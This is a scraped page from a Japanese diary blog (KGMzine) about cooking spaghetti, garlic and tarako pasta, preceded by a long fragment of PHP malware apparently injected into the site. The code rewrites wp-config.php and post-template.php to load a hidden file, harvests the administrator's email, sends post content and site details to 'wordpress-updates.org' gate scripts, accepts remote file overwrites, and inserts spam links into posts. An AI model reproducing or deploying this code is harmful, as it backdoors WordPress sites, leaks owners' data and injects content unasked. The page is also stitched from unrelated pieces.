0;$q--) { $link[$q]="/".$link[$q]; $r_dir=str_replace($link[$q],"",$r_dir); $rdr=amt_rdr($r_dir); if(@in_array('wp-config.php',$rdr)) { $root_dir[0]=$r_dir; break; } } $root_dir[1]=$root_dir[0]."/wp-includes"; $t_dir=$root_dir[0]."/wp-content/themes/"; $t_dirs=amt_rdr($t_dir); for($q=0;$qamt_trim_domen(); $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); return $t_n; } function amt_gae() { global $wpdb, $table_prefix; $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); $this->a_em=$uem[0]; return $a_em; } function amt_crtb() { global $wpdb; $this->amt_gtbl(); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , id_post INT(9) NOT NULL , last_up DATETIME NOT NULL , addd DATETIME NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , l_b ENUM('0', '1') NOT NULL , id_post INT(9) NOT NULL , word VARCHAR(255) NOT NULL , id_word INT( 9 ) NOT NULL , link VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( host VARCHAR(255) NOT NULL , t_o VARCHAR(255) NOT NULL , n_f VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; if($this->host=="") { $amt_nf=$this->amt_gfn(); $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; } $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; } } $amt_d=new amt_data; $amt_d->amt_crtb(); $amt_d->amt_gae(); $root_dir=amt_gp(); $amt_d->u_tpl=$amt_u_tpl; $amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); $amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; $amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; $amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; $amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; $amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); $amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; $amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; $amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } amt_ci(); function amt_cif() { global $amt_d; if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } } function amt_ci() { global $amt_d; $sha="!amt_cif!si"; $sha2="!".$amt_d->n_f."!si"; $cont=file_get_contents($amt_d->wp_c); if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) { $amt_d->ci[0]=0; } else { $amt_d->ci[0]=1; } $sha="!amt_cc!si"; $cont=file_get_contents($amt_d->wp_pt); if(!preg_match($sha,$cont,$match)) { $amt_d->ci[1]=0; } else { $amt_d->ci[1]=1; } if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) { $amt_d->ci[2]=0; } else { $amt_d->ci[2]=1; } if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } if($amt_d->ci[3]==0) { if($amt_d->ci[0]==0) { chmod($amt_d->wp_c, 0755); $cont=trim(file_get_contents($amt_d->wp_c)); $sha="/\?>$/"; if(preg_match($sha,$cont,$name)) { $cont=$cont." n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; } else { $cont=$cont." if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; } $amt_f = fopen($amt_d->wp_c,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { chmod($amt_d->wp_c, 0644); } } if($amt_d->ci[1]==0) { $cont=file_get_contents($amt_d->wp_pt); $sha1="echo \$content;"; $sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } echo \$content;"; $cont=str_replace($sha1,$sha2,$cont); chmod($amt_d->wp_pt, 0755); $amt_f = fopen($amt_d->wp_pt,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { @chmod($amt_d->wp_pt, 0644); } } if($amt_d->ci[2]==0) { $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } if(file_exists($amt_d->wp_ff)) { chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,"w"); $test = fwrite($amt_f, $content); fclose($amt_f); if($test) { chmod($amt_d->wp_ff, 0644); } } } } function amt_cc($content) { global $amt_d; $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); return $content; } function amt_gct($id) { global $amt_d; $ololo=get_post($id); $amt_cty=get_the_category(); $amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; $amt_d->p_ttl=$ololo->post_title; } function amt_cco($id, $content) { global $wpdb, $amt_d; $q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); for($q=0;$q < count($q_word);$q++) { $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); } $content.=amt_abl($id); return $content; } function amt_abl($id) { global $wpdb, $amt_d; $t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); if($t_link[0]!="") { $tlk="

".$t_link[0]."

"; } else { $tlk=""; } return $tlk; } function amt_copt($m_url) { global $wpdb, $amt_d; $post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); $today=date("Y-m-d"); if(!amt_cuo()) { if($amt_ud=amt_sender($amt_d->u_g[2], $post)) { if($amt_ud!="no" && $amt_ud!="") { $amt_md=explode('*^*^*^*',$amt_ud); $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); if($amt_md[3]==2) { amt_cnff($amt_md[4]); } } else { $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); } } } } function amt_cnff($content) { global $amt_d; if($content=="") { return false; } $content= ""; if(file_exists($amt_d->wp_ff)) { @chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($amt_d->wp_ff, 0644); } $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { @chmod($s_f_path, 0755); } $amt_f = fopen($s_f_path,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($s_f_path, 0644); } } function amt_inb($id, $last) { global $wpdb, $amt_d; $amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($amt_q); $amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; $wpdb->query($amt_q); } function amt_ins($id, $last, $cont, $url) { global $amt_d; $last=str_replace(" ","_",$last); $url=trim_url($url); $post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); $amt_pisg=amt_sender($amt_d->u_g[0], $post); if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } return $pis; } function amt_pib($id) { global $wpdb, $amt_d; $query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($query); if($wpdb->num_rows>0) { $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); if($per>30) { return 0; } else { return 1; } } return $wpdb->num_rows; } function amt_qwe($id) { global $wpdb, $amt_d; $query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; $wpdb->query($query); return $wpdb->num_rows; } function amt_cuq() { global $wpdb, $amt_d; $today=date("Y-m-d"); $date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); if($date_up!=$today) { return false; } else { return true; } } function amt_cuo() { global $amt_d; $today=date("Y-m-d"); if($amt_d->c_d!=$today) { return false; } else { return true; } } function amt_qse($id, $m_url) { global $wpdb, $amt_d; $today=date("Y-m-d"); $m_url=trim_url($m_url); $post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); if($amt_nq=amt_sender($amt_d->u_g[1], $post)) { if($amt_nq=="no quests") { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; echo $amt_q2; $wpdb->query($amt_q2); } else { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_qs=explode("*****",$amt_nq); for($q=0;$q < sizeof($amt_qs);$q++) { $m_amt_q=explode("^^^",$amt_qs[$q]); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; $wpdb->query($amt_q2); } } } } function amt_sender($url, $post) { global $amt_d; $_post=Array(); if(is_array($post)) { foreach($post as $name => $value) { $_post[]=$name.'='.urlencode($value); } } if (function_exists("curl_init")) { $ch=curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); if(is_array($post)) { curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); } $result=curl_exec($ch); if(curl_errno($ch)!=0 && empty($result)) { $result=false; } curl_close($ch); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } else { $parse_url = parse_url($url); $path = $parse_url["path"]; $host= $parse_url["host"]; $result=""; $post=implode('&', $_post); $fp=fsockopen($host, 80); if($fp) { socket_set_timeout($fp, $amt_d->t_o); $request = "POST $path HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Penetrator/3.0\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Referer: ".$amt_d->my_h."\r\n"; $request .= "Content-Length: ".strlen($post)."\r\n"; $request .= "Connection: close\r\n\r\n$post"; fputs($fp,$request); while(!feof($fp)) { $result.=fgets($fp); } fclose($fp); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } return false; } } function amt_create_post_words($content,$word,$id_word,$link,$nwm) { $n_content=strip_tags($content); $word=trim($word); $t_link="http://".$link; $w=0; $sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="***\\0***"; $new_content=preg_replace($bilo,$stalo,$n_content); preg_match_all($sha2,$new_content,$massa); $sha_word=erase_zv($massa[0][$id_word]); $sha_word_l=strong_word($sha_word,$word,$t_link); $content=str_replace($sha_word,$sha_word_l,$content); return $content; } function erase_zv($text) { $text=str_replace(",***",",",$text); $text=str_replace(".***",".",$text); $text=str_replace(" ***"," ",$text); $text=str_replace("*** "," ",$text); $text=str_replace("***"," ",$text); return $text; } function trim_side($text) { $new_text=""; $txt=explode(" ", $text); $n_w=sizeof($txt); for($ts=1;$ts<$n_w-1;$ts++) { $new_text.=$txt[$ts]." "; } return $new_text; } function strong_word($content,$word,$t_link) { $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="\\0"; $content=preg_replace($bilo,$stalo,$content); $content=str_replace("> ",">",$content); $content=str_replace(" <","<",$content); $content=str_replace("<"," <",$content); $content=str_replace(" ","",$content); $content=str_replace(""," ",$content); $content=str_replace(",",", ",$content); $content=str_replace(".",". ",$content); $content=str_replace(" "," ",$content); return $content; } function trim_url($url) { $url=preg_replace("(www.|http://)", "", $url); return $url; } ?> スパゲッ亭 – KGMzine
DIARY

スパゲッ亭

スパゲティーが好きだ。
あまりに好きなので、スパゲティーを売りにしたレストランで働いていたことがある。
その経験のお陰で今でもそれなりに作れる。
「どうすれば美味しくなるのか」
答えはとてもシンプル。繰り返し作り、理解に努めること。

ソースの乳化はよく言われるものの、水と油の乳化しやすい比率に言及した書籍に出会ったことがない。
フライパンの中でどんな科学が起きているのか、それを考えたら理解が進んでもっと楽しくなるのに。
麺はメーカーによって味も食感も違う。茹で上がった後の伸び方さえも違ってくる。
茹で方はどうだろう。なぜ塩を入れるのか。お湯の量は。なぜ沸騰を保つ必要があるのか。
ひとつひとつに理由がある。

レシピは目安でしかなくて、皆使う材料が変わるのだから方法も自分に合わせる必要がある。
にんにくは国産か、中国産か。最近はスペイン産の物もスーパーで見かける。
国産は間違いなく美味しい。青森の田子のものは最上。

とはいえ自宅にあるものが常に国産とは限らない。値段も店によっては2倍以上の開きがある。
中国産のにんにくが「美味しくない」という訳ではない。
むしろ料理や調理法によっては中国産の方が合うなと感じることもある。
水煮肉片や名古屋で台湾ラーメンを食べた時は特にそう感じた。
スパゲティーの作り方に比べて、中国料理の調理は大体の場合、加熱時間が短い。
なので自ずとニンニクの辛味が残ることになる。
中国産ニンニクは元々辛味が強い。しかもそれがさらに際立つ。
先述のふたつの料理ではその鋭利なほどのニンニクの辛味がプラスに作用していた。
それ自体で上等ではない食材を活かしに生かし切った素晴らしい料理だと感じた。

上品につくり込むことが必ずしもおいしさに直結する訳ではなくて、えぐ味や雑味にも役割があるように思う。
あまりに疲れすぎている油で揚げた天ぷらは胃がもたれるし、そもそも体に悪いのでので避けたいけれど、
「それなり」にあれやこれやと揚げた後の油で作った天かすを使ったたぬきうどんは最高だ。
逆に工場で作られた真っ白い天かすを使ったたぬきうどんは特別な味にはならない。

中国産のにんにくで美味しいスパゲティーを作りたいならそれにあったメニューにすれば良いのだ。
辛味の強い味にするか、使う材料を増やして味に奥行きを持たせる。
旨味成分の強い食材を使うというのも効果的だ。
「ベーコンは日本料理にとっての鰹節」そんな風に考えると使い所が見えてくる。

こんな風にスパゲティーのことを考え出すと思考がエンドレス。星屑はロンリネス。

ブログの投稿ページを開いた時点ではこんな記事を書くつもりはさらさらなかった。
夕飯に「たらこスパゲティー」を作ったら子供達が「美味しい!」と沢山言ってくれたのが嬉しくて、
(かつての調理の経験が今日は活かせたなー。)と思った。それを書きたかった、それだけなのに。

ちなみに、「たらこスパゲティー」のコツはというと、
それなりのたらこを買って、バターは程々に、そこへレモン汁を少々。
これに刻み海苔を加えたら充分美味しくなる。麺は柔らかめを推奨。
例えば、食べさせる相手を完膚なきまでに叩きのめしたいというなら、昆布茶を少々。
というか、たらこスパゲティーは誰が作っても美味しくなるのでご安心下さい。
たらこは無敵です。

私の「スパゲティー愛」は皆さんへ充分伝わったことでしょう。

IMG_0267

0